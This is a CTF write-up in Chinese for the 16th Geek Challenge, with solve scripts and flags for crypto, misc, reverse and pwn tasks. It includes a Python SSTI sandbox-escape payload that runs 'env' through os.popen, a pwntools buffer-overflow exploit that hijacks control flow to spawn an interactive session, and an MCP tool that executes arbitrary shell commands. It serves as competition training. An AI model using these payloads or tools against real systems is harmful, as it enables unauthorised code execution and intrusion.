文章总结： 这篇文档是第十六届极客大挑战的Writeup，详细介绍了Crypto、MISC、REVERSE和PWN四类CTF题目的解题思路和代码实现。文章涵盖了XOR加密、RSA解密、Rabin密码系统、HTTP流量分析、图片隐写、区块链签名分析、智能合约分析、模板注入沙箱逃逸、Python逆向和二进制漏洞利用等多个安全技术领域。每个题目都提供了完整的解题代码和最终flag，对CTF参赛者具有很高的参考价值。
综合评分： 91
文章分类： CTF,WEB安全,代码审计,漏洞分析,区块链安全

第十六届极客大挑战Crypto&MISC&PWN wp

chenzi

OnePanda-Sec

2025年11月27日 20:01
湖北

招新

OnePanda-Sec

-招新说明-

**招新要求

· 热爱网络安全，喜欢CTF

· 拥有CTF比赛经验，有较好比赛成绩的

· 乐于奉献、热爱分享，愿意提升自己同时帮助他人

· 时间允许参加各类赛事，服从战队管理与安排

· 各类比赛获奖者、能力出众者视情况考量

· 未参与其他高校联队

· 大一同学视情况放宽资历要求**

联系方式

发送简历于邮箱

· 简历邮箱：[email protected]

聘

第十六届极客大挑战OnePanda战队

Crypto

ez xor

from&nbsp;Crypto.Util.number&nbsp;import&nbsp;long_to_bytesimport gmpy2

N=12114282140129030221139165720039766369206816602912543911543781978648770300084428613171061953060266384429841484428732215252368009811130875276347534941874714457297474025227060487490713853301440917877280771734998220874195868270983517296552761924477514745040473578887509936945790259245154138347432294762694643113545451605193155323886625417458980089197202274810691448592725400564114850712497863770625334209249566232989992606497076063348029665644680946906322428277225178838518025623254240893146791821359089473224900379808514993113560101567320224162858217031176854613011276425771708406954417610317789259885040739954642374667n=91891351711379799931394178123406137903027189477005569059936904007248535049052097057222486024223574959494899324706948906013350601442586596023020519058250868888847562977333671773188012014902448961387215600156932673504112816058893268362611211565216592933077956777032650164332488098756557422740070442941348084921c=3231265723829112665640925095346482445691074656152495613367006320791218303024667683148786980985160622882017055128261102169256263170652774489339801477001275058585666508737704987192764426162573977263344192886400249198007892940084066468570229353879431384001463041292940472308358540532108957894938586227682908251475990882169979412586767210087025064295224506676379057986353004282550774815876093769770845018817117647615011444989401149674886486770646765454314760906436659162076044268401041579090930954919862146749470426101754009562077505810024012143379326028465156444246440949112724465484939452061684185387430755268355807999gift1=10475668758451987289276918780968515546700284023143612685496241510488708701498972819305540608876501965534227236009502810417525671358108167575178008316645429gift2=2089035701361172996472331829521141923363322027241591404259262848963755908765054555529259508147866255819680957406084877552079796025933552021516283158425474

m2&nbsp;= N // nS&nbsp;= gift2 +&nbsp;2*gift1D&nbsp;= S*S -&nbsp;4*m2sqrtD&nbsp;= gmpy2.isqrt(D)r&nbsp;= (S + sqrtD) //&nbsp;2s&nbsp;= (S - sqrtD) //&nbsp;2

phi_rs = (r-1)*(s-1)e = 65537d_rs = gmpy2.invert(e, phi_rs)m_rs = pow(c, d_rs, r*s)flag = long_to_bytes(m_rs)print(flag.decode())

#syc{we1c0me_t190_ge1k_your_code_is_v1ey_de1psrc!}

baby rabin

from&nbsp;Crypto.Util.number&nbsp;import&nbsp;long_to_bytes, isPrimeimport&nbsp;gmpy2from&nbsp;itertools&nbsp;import&nbsp;productdef&nbsp;fermat_factor(n):a = gmpy2.isqrt(n)if&nbsp;a * a < n:a +=&nbsp;1while&nbsp;True:b2 = a * a - nb = gmpy2.isqrt(b2)if&nbsp;b * b == b2:p = a - bq = a + breturn&nbsp;p, qa +=&nbsp;1def&nbsp;all_2k_roots(x, k, p):roots = [x]for&nbsp;i&nbsp;in&nbsp;range(k):new_roots = []for&nbsp;r&nbsp;in&nbsp;roots:t1 =&nbsp;pow(r, (p+1)//4, p)t2 = p - t1new_roots.append(t1)new_roots.append(t2)roots = new_rootsreturn&nbsp;rootsdef&nbsp;crt(remainders, moduli):# 自己实现 CRTtotal =&nbsp;0prod =&nbsp;1for&nbsp;m&nbsp;in&nbsp;moduli:prod *= mfor&nbsp;r_i, m_i&nbsp;in&nbsp;zip(remainders, moduli):p = prod // m_itotal += r_i *&nbsp;pow(p, -1, m_i) * preturn&nbsp;total % prod

def&nbsp;main():C&nbsp;=&nbsp;451731346880007131332999430306985234187530419447859396067624968918101700861978676040615622417464916959678829732066195225132545956101693588984833424213755513877236702139360270137668415610295492436471366218119012903840729628449361663941761372974624789549775182866112541811446267811259781269568865266459437049508062916974638523947634702667929562107001830919422408810565410106056693018550877651160930860996772712877149329227066558481842344525735406568814917991752005n&nbsp;=&nbsp;491917847075013900815069309520768928274976990404751846981543204333198666419468384809286945880906855848713238459489821614928060098982194326560178675579884014989600009897895019721278191710357177079087876324831068589971763176646200619528739550876421709762258644696629617862167991346900122049024287039400659899610706153110527311944790794239992462632602379626260229348762760395449238458507745619804388510205772573967935937419407673995019892908904432789586779953769907hint&nbsp;=&nbsp;66035251530240295423188999524554429498804416520951289016547753908652377333150838269168825344004730830028024338415783274479674378412532765763584271087554367024433779628323692638506285635583547190049386810983085033061336995321777237180762044362497604095831885258146390576684671783882528186837336673907983527353

r = n // hintassert&nbsp;n == hint * rassert&nbsp;isPrime(r)p, q = fermat_factor(hint)assert&nbsp;p * q == hintassert&nbsp;isPrime(p)assert&nbsp;isPrime(q)print("p =", p)print("q =", q)print("r =", r)e =&nbsp;8rp_list = all_2k_roots(C % p,&nbsp;3, p)rq_list = all_2k_roots(C % q,&nbsp;3, q)rr_list = all_2k_roots(C % r,&nbsp;3, r)print("Num roots mod p:",&nbsp;len(rp_list))print("Num roots mod q:",&nbsp;len(rq_list))print("Num roots mod r:",&nbsp;len(rr_list))for&nbsp;mp, mq, mr&nbsp;in&nbsp;product(rp_list, rq_list, rr_list):m = crt([mp, mq, mr], [p, q, r])flag = long_to_bytes(m)if&nbsp;b'flag'&nbsp;in&nbsp;flag&nbsp;or&nbsp;b'ctf'&nbsp;in&nbsp;flag&nbsp;or&nbsp;b'{'&nbsp;in&nbsp;flag:print("Found flag:", flag)returnif __name__ ==&nbsp;'__main__':main()

syc{th1sso1zmumneverca1rmytstu1d}

pem

from&nbsp;Crypto.PublicKey&nbsp;import&nbsp;RSAfrom&nbsp;Crypto.Util.number&nbsp;import&nbsp;long_to_bytesprivate_key_pem =&nbsp;"""-----BEGIN PRIVATE KEY-----MIIBVAIBADANBgkqhkiG9w0BAQEFAASCAT4wggE6AgEAAkEAsFlugEoMNVz3CIFwiu24CRrLk21FzaAjDTs9mlTFY9fWpcjPORdU+7e/olX5S64zhPifzt0qRbhIl0IcHqKCHwIDAQABAkBI/HqTdhIfc956Erh1h3WHryNaXPtq40AelcolObiIXXh4G1/mdc75Z5I5nJTO/zZQnJnTqTSdUMJpzJRYNjsBAiEA2YEGqYferYw4HaK1ElYVcNZ7cM6INXhQfpDojTBaaz8CIQDPj7Z7TDeVXAgv79v2SnbYp73UqDBVbNJKqUygcMSRIQIgRmX4ng6YCFwGHbF4IgMy1V7WfWCbvZK/mveUDX7FBUkCIQCnhEh12Hyfygg9kCuJ6m1izHbUE+32c/6BDYRvlLPAoQIgKtxjXCE0POqPLlCh7PL8W8YSsyQg4Mvg3cNwsUy4kEY=-----END PRIVATE KEY-----"""key = RSA.import_key(private_key_pem)n, e, d, p, q = key.n, key.e, key.d, key.p, key.q# 读取 enc 文件with&nbsp;open("C:\\Users\\26387\\Desktop\\pem\\pem\\enc",&nbsp;"rb")&nbsp;as&nbsp;f:ciphertext = f.read()# 密文转为整数c =&nbsp;int.from_bytes(ciphertext,&nbsp;'big')# 解密m =&nbsp;pow(c, d, n)# 输出 flagflag = long_to_bytes(m)print(flag.decode(errors='ignore'))&nbsp;# 避免解码错误

SYC{PEM1sn0tonlyS5l}

xor revenge

from&nbsp;pwn&nbsp;import&nbsp;remoteimport&nbsp;time# 目标服务信息TARGET_HOST =&nbsp;"geek.ctfplus.cn"TARGET_PORT =&nbsp;32230def&nbsp;handle_receive(io, is_line=True, timeout=5):"""封装接收数据的通用函数"""try:if&nbsp;is_line:return&nbsp;io.recvline(timeout=timeout)else:return&nbsp;io.recv(timeout=timeout)except&nbsp;Exception&nbsp;as&nbsp;e:print(f"接收数据时发生异常:&nbsp;{e}")return&nbsp;b""def&nbsp;handle_send(io, data):"""封装发送数据的通用函数"""try:io.sendline(data)return&nbsp;Trueexcept&nbsp;Exception&nbsp;as&nbsp;e:print(f"发送数据时发生异常:&nbsp;{e}")return&nbsp;Falsedef&nbsp;process_first_stage(io):"""处理第一阶段交互"""# 接收欢迎信息welcome_msg = handle_receive(io)print(f"收到欢迎信息:&nbsp;{welcome_msg.decode().strip()}")# 回复欢迎信息内容response = welcome_msg.strip()handle_send(io, response)print(f"已回复:&nbsp;{response.decode()}")# 接收第二句提示second_prompt = handle_receive(io)print(f"收到提示信息:&nbsp;{second_prompt.decode().strip()}")def&nbsp;process_second_stage(io):"""处理第二阶段交互（第一关）"""# 接收包含 gift1 的参数块buffer =&nbsp;b""target_marker =&nbsp;b"gift1="print("开始接收第一关参数块...")while&nbsp;target_marker&nbsp;not&nbsp;in&nbsp;buffer:chunk = handle_receive(io)if&nbsp;not&nbsp;chunk:breakbuffer += chunkprint("第一关参数块接收完成")# 提交第一关答案first_answer =&nbsp;b"1"handle_send(io, first_answer)print(f"已提交第一关答案:&nbsp;{first_answer.decode()}")# 接收过关提示success_msg = handle_receive(io)print(f"过关提示:&nbsp;{success_msg.decode().strip()}")def&nbsp;process_third_stage(io):"""处理第三阶段交互（第二关）"""# 接收第二关参数（非行模式）print("开始接收第二关参数...")_ = handle_receive(io, is_line=False, timeout=2)print("第二关参数接收完成")# 提交第二关答案second_answer =&nbsp;b"1"handle_send(io, second_answer)print(f"已提交第二关答案:&nbsp;{second_answer.decode()}")def&nbsp;retrieve_result(io):"""获取最终结果（包含 flag）"""try:final_output = io.recvall(timeout=5)result = final_output.decode(errors="ignore")print("\n===== 最终结果 =====")print(result)return&nbsp;resultexcept&nbsp;Exception&nbsp;as&nbsp;e:print(f"获取结果时发生异常:&nbsp;{e}")return&nbsp;""def&nbsp;main():"""主函数：协调各阶段交互流程"""print(f"开始连接到&nbsp;{TARGET_HOST}:{TARGET_PORT}")io = remote(TARGET_HOST, TARGET_PORT)print("连接成功")try:# 按阶段处理交互process_first_stage(io)time.sleep(0.1)&nbsp;# 增加短暂延迟，模拟真实交互process_second_stage(io)time.sleep(0.1)process_third_stage(io)time.sleep(0.1)# 获取并显示结果retrieve_result(io)finally:# 确保连接关闭if&nbsp;io.connected():io.close()print("\n 连接已关闭")if&nbsp;__name__ ==&nbsp;"__main__":main()

SYC{hahahath1factorisN0t_ha16}

dp spill

import sysimport hashlibimport&nbsp;timefrom math import gcdfrom typing import Tuple, Optional, List# RSA 挑战参数配置CHALLENGE_PARAMS = {'n': 59802493250926859707985963604065644706006753432029457979480870189591634515944547801582044132550574140049396756158974108666587177618882259807156459782125677704143102175791607852135852403246382056816004306499712131698646815738798243056590111291799398438023345030391834782966046976995917844819454047154287312391,'e': 55212884840887233646138079973875295799093171847359460085387084716906818593689341421818829383370282800231404248386041253598996862719171485530961860941585382910224531768283026267484780257269526617362183903996384696040145787076592207619279689647074176697837752679360230601598541884491676076657287130000027117241}# 搜索配置SEARCH_CONFIG = {'max_steps': 1 <<&nbsp;22, # 搜索最大步数 (2^22)'bases': [2, 3, 5, 7, 11, 13, 17, 19]&nbsp;# 待尝试的基数列表}class RSADecoder:"""RSA 因子分解工具类"""def __init__(self, n: int, e: int):self.n = nself.e = eself.factors = None&nbsp;# 存储找到的因子 (p, q)self.found_step = 0&nbsp;# 找到因子时的步数self.execution_time = 0.0&nbsp;# 执行耗时def _calculate_initial_values(self, base: int) -> Tuple[int, int]:"""计算初始值 y 和步长因子 step"""y_initial = pow(base, self.e - 1, self.n)step_factor = pow(base, self.e, self.n)return&nbsp;y_initial, step_factordef search_factors_with_base(self, base: int, max_steps: int) -> bool:"""使用指定基数搜索因子"""try:y, step = self._calculate_initial_values(base)for&nbsp;step_count&nbsp;in&nbsp;range(1, max_steps + 1):# 计算最大公约数判断是否找到因子gcd_value = gcd(y - 1, self.n)if&nbsp;1 < gcd_value < self.n:p = gcd_valueq = self.n // gcd_valueself.factors = (int(min(p, q)), int(max(p, q)))self.found_step = step_countreturn&nbsp;True# 更新下一轮的 y 值y = (y * step) % self.n# 定期输出进度if&nbsp;step_count % 100000 == 0:progress = f"基数 {base} 进度: {step_count}/{max_steps} 步"print(f"\r{progress}", end='', flush=True)except Exception as error:print(f"\n 基数 {base} 计算出错: {str(error)}")return&nbsp;Falseprint(f"\n 基数 {base} 已完成全部 {max_steps} 步搜索")return&nbsp;Falsedef run_multi_base_search(self, bases: List[int], max_steps: int) -> bool:"""尝试多个基数进行因子搜索"""start_time = time.time()for&nbsp;base&nbsp;in&nbsp;bases:print(f"\n[*] 开始尝试基数: {base}")if&nbsp;self.search_factors_with_base(base, max_steps):self.execution_time = time.time() - start_timereturn&nbsp;Trueself.execution_time = time.time() - start_timereturn&nbsp;Falsedef generate_flag(self) -> str:"""根据找到的因子生成 flag"""if&nbsp;not self.factors:return&nbsp;""p, q = self.factorssum_pq = p + qhash_obj = hashlib.sha256(str(sum_pq).encode())return&nbsp;f"SYC{{{hash_obj.hexdigest()}}}"def print_search_summary(decoder: RSADecoder, config: dict) -> None:"""打印搜索结果摘要"""if&nbsp;decoder.factors:p, q = decoder.factorsprint("\n"&nbsp;+&nbsp;"="*50)print(f"[+] 成功找到因子 (耗时: {decoder.execution_time:.2f}秒)")print(f"[*] 素数因子 p: {p}")print(f"[*] 素数因子 q: {q}")print(f"[*] p + q = {p + q}")print(f"[*] 找到时的步数 k: {decoder.found_step}")print(f"[+] Flag: {decoder.generate_flag()}")print("="*50 +&nbsp;"\n")else:print("\n"&nbsp;+&nbsp;"="*50)print(f"[-] 所有尝试均失败 (总耗时: {decoder.execution_time:.2f}秒)")print("[!] 建议解决方案:")print(f"&nbsp;1. 增大搜索步数 (当前: {config['max_steps']})")print(f"&nbsp;2. 尝试更多基数 (当前尝试: {config['bases']})")print("&nbsp;3. 检查算法逻辑是否适用")print("="*50 +&nbsp;"\n")def main():# 初始化解码器rsa_decoder = RSADecoder(n=CHALLENGE_PARAMS['n'],e=CHALLENGE_PARAMS['e'])# 打印初始信息print("="*50)print("RSA 因子分解工具启动")print(f"[*] 待分解的 n 长度: {len(str(rsa_decoder.n))} 位")print(f"[*] 搜索配置: 最大步数={SEARCH_CONFIG['max_steps']}, 基数列表={SEARCH_CONFIG['bases']}")print("="*50)# 执行多基数搜索search_success = rsa_decoder.run_multi_base_search(bases=SEARCH_CONFIG['bases'],max_steps=SEARCH_CONFIG['max_steps'])# 输出结果摘要print_search_summary(rsa_decoder, SEARCH_CONFIG)# 根据搜索结果退出sys.exit(0&nbsp;if&nbsp;search_success&nbsp;else&nbsp;1)if&nbsp;__name__ ==&nbsp;"__main__":main()

SYC{644684707c540998d760975fb98a816a469ec567abe5c8004164d3ce887c6a8e

Misc

HTTP

一共三组U1lDe1JfVV9BXw%3D%3DRjBSM05TMUM1X01BU1RFUj99

SYC{R_U_A_F0R3NS1C5_MASTER?}

osint

SYC{北京市_天坛公园}

Bite off picture

010打开在最后面

逆序的base64编码

得到密码werwerr

然后修复宽高

SYC{mi3c_13_really_fun!!!!!}

Blockchain Signln

使用在线网站

https://sepolia.etherscan.io/tx/0x208e0465ea757073d0ec6af9094e5404ef81a213970eb580fa6a28a3af4669d6

SYC{w3b3_g4m3_st4rt}

1Z_Sign

https://etherscan.io/tx/0x1d3040872d9c3d15d47323996926c2aa5c7b636fc7209f701301878dcf438598

SYC{0.99%}

Dream

访问https://sepolia.etherscan.io/address/0xd8B361E50174c4Ae99E31dCdF10B353C961f9C43#code

0x6080604052348015600e575f80fd5b50600436106026575f3560e01c8063cf9a197d14602a575b5f80fd5b60306044565b604051603b9190607c565b60405180910390f35b5f775359437b77336c63306d337430626c30636b636861316e7d805f5260205ff35b5f819050919050565b6076816066565b82525050565b5f602082019050608d5f830184606f565b9291505056fea2646970667358221220974b3f216c3631b694b1fb0452f8c8c6ab797a24697c62ebd80b250622b805e864736f6c63430008190033pragma solidity ^0.8.0;contract SimpleContract {function&nbsp;getFlag()&nbsp;public&nbsp;pure&nbsp;returns&nbsp;(string&nbsp;memory)&nbsp;{return&nbsp;"SYC{w3lc0m3t0bl0ckcha1n}";}// 或者原始函数可能名为其他名称，但功能相同function&nbsp;cf9a197d()&nbsp;public&nbsp;pure&nbsp;returns&nbsp;(string&nbsp;memory)&nbsp;{return&nbsp;"SYC{w3lc0m3t0bl0ckcha1n}";}}

SYC{w3lc0m3t0bl0ckcha1n}

evil mcp

import subprocessfrom typing import Any@tool(name="run_command",description="执行系统命令并返回输出结果（仅供受控环境使用）",input_schema={"type":&nbsp;"object","properties": {"command": {"type":&nbsp;"string","description":&nbsp;"要执行的系统命令，例如 `ls -l` 或 `echo hello`"}},"required": ["command"]})async def run_command(arguments: dict[str, Any], context: ToolExecutionContext) -> ToolResult:try:# 运行命令并捕获输出cmd = arguments["command"]result = subprocess.run(cmd,shell=True,check=False,stdout=subprocess.PIPE,stderr=subprocess.PIPE,text=True)# 组织输出内容output = (f"执行命令: {cmd}\n"f"返回码: {result.returncode}\n"f"标准输出内容:\n{result.stdout if result.stdout else '(无输出)'}\n"f"错误输出内容:\n{result.stderr if result.stderr&nbsp;else&nbsp;'(无)'}\n"f"会话 ID: {context.session_id}, 调用 ID: {context.invocation_id}")except Exception as e:output = f"命令执行出错: {str(e)}"return ToolResult(content=output)SYC{019a576105ae7019b12427f0d11bde91}Expression Parserssti 模板注入的沙箱逃逸，比较经典就直接给 payload 了

SYC{019a576105ae7019b12427f0d11bde91}

Expression Parser

ssti 模板注入的沙箱逃逸，比较经典就直接给 payload 了().__class__.__base__.__subclasses__()[134].__init__.__globals__['__builtins__'][&nbsp;'__import__']('os').popen('env').read()

REVERSE

ez pyyy

先反编译一下# Visit https://www.lddgo.net/string/pyc-compile-decompile for more information# Version : Python 3.8cipher = [48,55,57,50,53,55,53,50,52,50,48,55,101,52,53,50,52,50,52,50,48,55,53,55,55,55,50,54,53,55,54,55,55,55,53,54,98,55,97,54,50,53,56,52,50,52,99,54,50,50,52,50,50,54]def&nbsp;str_to_hex_bytes(s =&nbsp;None):return&nbsp;s.encode('utf-8')def&nbsp;enc(data =&nbsp;None, key =&nbsp;None):return&nbsp;None((lambda&nbsp;.0&nbsp;=&nbsp;None: [ b ^ key&nbsp;for&nbsp;b&nbsp;in&nbsp;.0&nbsp;])(data))def&nbsp;en3(b =&nbsp;None):return&nbsp;b <<&nbsp;4&nbsp;&&nbsp;240&nbsp;| b >>&nbsp;4&nbsp;&&nbsp;15def&nbsp;en33(data =&nbsp;None, n =&nbsp;None):'''整体 bitstream 循环左移 n 位'''bit_len =&nbsp;len(data) *&nbsp;8n = n % bit_lenval =&nbsp;int.from_bytes(data,&nbsp;'big')val = (val << n | val >> bit_len - n) & (1&nbsp;<< bit_len) -&nbsp;1return&nbsp;val.to_bytes(len(data),&nbsp;'big')if&nbsp;__name__ ==&nbsp;'__main__':flag =&nbsp;''data = str_to_hex_bytes(flag)data = enc(data,&nbsp;17)data =&nbsp;bytes((lambda&nbsp;.0: [ en3(b)&nbsp;for&nbsp;b&nbsp;in&nbsp;.0&nbsp;])(data))data = data[::-1]data = en33(data,&nbsp;32)if&nbsp;data.hex() == cipher:print('Correct! ')else:print('Wrong！！！！！！！！')cipher = [48,&nbsp;55,&nbsp;57,&nbsp;50,&nbsp;53,&nbsp;55,&nbsp;53,&nbsp;50,&nbsp;52,&nbsp;50,&nbsp;48,&nbsp;55,&nbsp;101,&nbsp;52,&nbsp;53,&nbsp;50,&nbsp;52,50,52,&nbsp;50,&nbsp;48,&nbsp;55,&nbsp;53,&nbsp;55,&nbsp;55,&nbsp;55,&nbsp;50,&nbsp;54,&nbsp;53,&nbsp;55,&nbsp;54,&nbsp;55,&nbsp;55,&nbsp;55,&nbsp;53,54,98,&nbsp;55,&nbsp;97,&nbsp;54,&nbsp;50,&nbsp;53,&nbsp;56,&nbsp;52,&nbsp;50,&nbsp;52,&nbsp;99,&nbsp;54,&nbsp;50,&nbsp;50,&nbsp;52,&nbsp;50,&nbsp;50,54]# cipher 是十六进制数字的 ASCII 码列表，先转成字符串hex_str =&nbsp;''.join(chr(x)&nbsp;for&nbsp;x&nbsp;in&nbsp;cipher)# 将十六进制字符串转成字节data =&nbsp;bytes.fromhex(hex_str)def&nbsp;en3(b):return&nbsp;(b <<&nbsp;4) &&nbsp;0xF0&nbsp;| (b >>&nbsp;4) &&nbsp;0x0Fdef&nbsp;en33_inv(data, n):'''整体 bitstream 循环右移 n 位'''bit_len =&nbsp;len(data) *&nbsp;8n = n % bit_lenval =&nbsp;int.from_bytes(data,&nbsp;'big')val = (val >> n | val << (bit_len - n)) & ((1&nbsp;<< bit_len) -&nbsp;1)return&nbsp;val.to_bytes(len(data),&nbsp;'big')# 逆向步骤# 5. 逆向 en33(data, 32)data = en33_inv(data,&nbsp;32)# 4. 逆向 data[::-1]data = data[::-1]# 3. 逆向 en3 (en3 是自反的)data =&nbsp;bytes(en3(b)&nbsp;for&nbsp;b&nbsp;in&nbsp;data)# 2. 逆向 enc (异或 17)data =&nbsp;bytes(b ^&nbsp;17&nbsp;for&nbsp;b&nbsp;in&nbsp;data)# 1. 直接解码为字符串flag = data.decode('utf-8')print(flag)

SYC{jtfgdsfda554_a54d8as53}

Pwn

次元囚牢

from pwn import remote, context, p64import sysfrom typing import&nbsp;Tuple,&nbsp;Optional# 配置常量集中管理CONFIG&nbsp;= {"target": ("geek.ctfplus.cn",&nbsp;30424),"log_level":&nbsp;"debug","menu_choices": {"first_choice": b"3","second_choice": b"2"},"payload": {"prefix": b"love","pad_char": b"a","pad_length":&nbsp;0x24,"target_addr":&nbsp;0x4012B8},"prayer_input": b"1","recv_patterns": {"menu_prompt": b"cin >> :","love_prompt": b"give me your love \n","prayer_prompt": b"prayer"}}class&nbsp;ExploitHandler:"""漏洞利用处理类，封装交互逻辑"""def&nbsp;__init__(self,&nbsp;host:&nbsp;str,&nbsp;port:&nbsp;int):self.host = hostself.port = portself.io:&nbsp;Optional[remote] =&nbsp;Noneself._init_context()def&nbsp;_init_context(self) ->&nbsp;None:"""初始化上下文配置"""context.log_level =&nbsp;CONFIG["log_level"]context.arch =&nbsp;"amd64"&nbsp;# 显式指定架构（根据目标调整）def&nbsp;connect(self) ->&nbsp;bool:"""建立远程连接"""try:self.io = remote(self.host,&nbsp;self.port)print(f"成功连接到 {self.host}:{self.port}")return&nbsp;Trueexcept&nbsp;Exception&nbsp;as&nbsp;e:print(f"连接失败: {str(e)}", file=sys.stderr)return&nbsp;Falsedef&nbsp;_construct_payload(self) ->&nbsp;bytes:"""构造攻击载荷"""payload_cfg =&nbsp;CONFIG["payload"]padding = payload_cfg["pad_char"] * payload_cfg["pad_length"]return&nbsp;payload_cfg["prefix"] + padding + p64(payload_cfg["target_addr"])def&nbsp;send_menu_choice(self,&nbsp;choice:&nbsp;bytes) ->&nbsp;None:"""发送菜单选择"""if&nbsp;not&nbsp;self.io:raise&nbsp;RuntimeError("未建立连接")self.io.recvuntil(CONFIG["recv_patterns"]["menu_prompt"])self.io.sendline(choice)print(f"已发送菜单选择: {choice.decode()}")def&nbsp;send_exploit_payload(self) ->&nbsp;None:"""发送漏洞利用载荷"""if&nbsp;not&nbsp;self.io:raise&nbsp;RuntimeError("未建立连接")payload =&nbsp;self._construct_payload()self.io.sendlineafter(CONFIG["recv_patterns"]["love_prompt"],payload)print(f"已发送载荷，长度: {len(payload)} 字节")def&nbsp;send_prayer_input(self) ->&nbsp;None:"""发送祈祷内容"""if&nbsp;not&nbsp;self.io:raise&nbsp;RuntimeError("未建立连接")self.io.sendafter(CONFIG["recv_patterns"]["prayer_prompt"],CONFIG["prayer_input"])print(f"已发送祈祷内容: {CONFIG['prayer_input'].decode()}")def&nbsp;start_interactive(self) ->&nbsp;None:"""进入交互模式"""if&nbsp;self.io:print("进入交互模式...")self.io.interactive()def&nbsp;close(self) ->&nbsp;None:"""关闭连接"""if&nbsp;self.io&nbsp;and&nbsp;self.io.connected():self.io.close()print("连接已关闭")def&nbsp;main() ->&nbsp;None:# 初始化漏洞利用处理器exploit =&nbsp;ExploitHandler(*CONFIG["target"])try:# 执行攻击流程if&nbsp;not&nbsp;exploit.connect():sys.exit(1)# 第一步：发送第一个菜单选择exploit.send_menu_choice(CONFIG["menu_choices"]["first_choice"])# 第二步：发送攻击载荷exploit.send_exploit_payload()# 第三步：发送第二个菜单选择exploit.send_menu_choice(CONFIG["menu_choices"]["second_choice"])# 第四步：发送祈祷输入exploit.send_prayer_input()# 进入交互模式exploit.start_interactive()except&nbsp;Exception&nbsp;as&nbsp;e:print(f"攻击过程出错: {str(e)}", file=sys.stderr)finally:exploit.close()if&nbsp;__name__ ==&nbsp;"__main__":main()

SYC{runasamanopurezento:019a5744235d7981bdc93f88ce5d45ea}

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：OnePanda-Sec chenzi《第十六届极客大挑战Crypto&MISC&PWN wp》

Tags: CTF WEB安全代码审计区块链安全漏洞分析

你可能错过

车载以太网 – SOME/IP简介

ZeroLu/awesome-gpt-image：X平台头部创作者精选提示词库（2213 Stars）

轻轻松松之敏感信息泄露

情报流程中的研究方法体系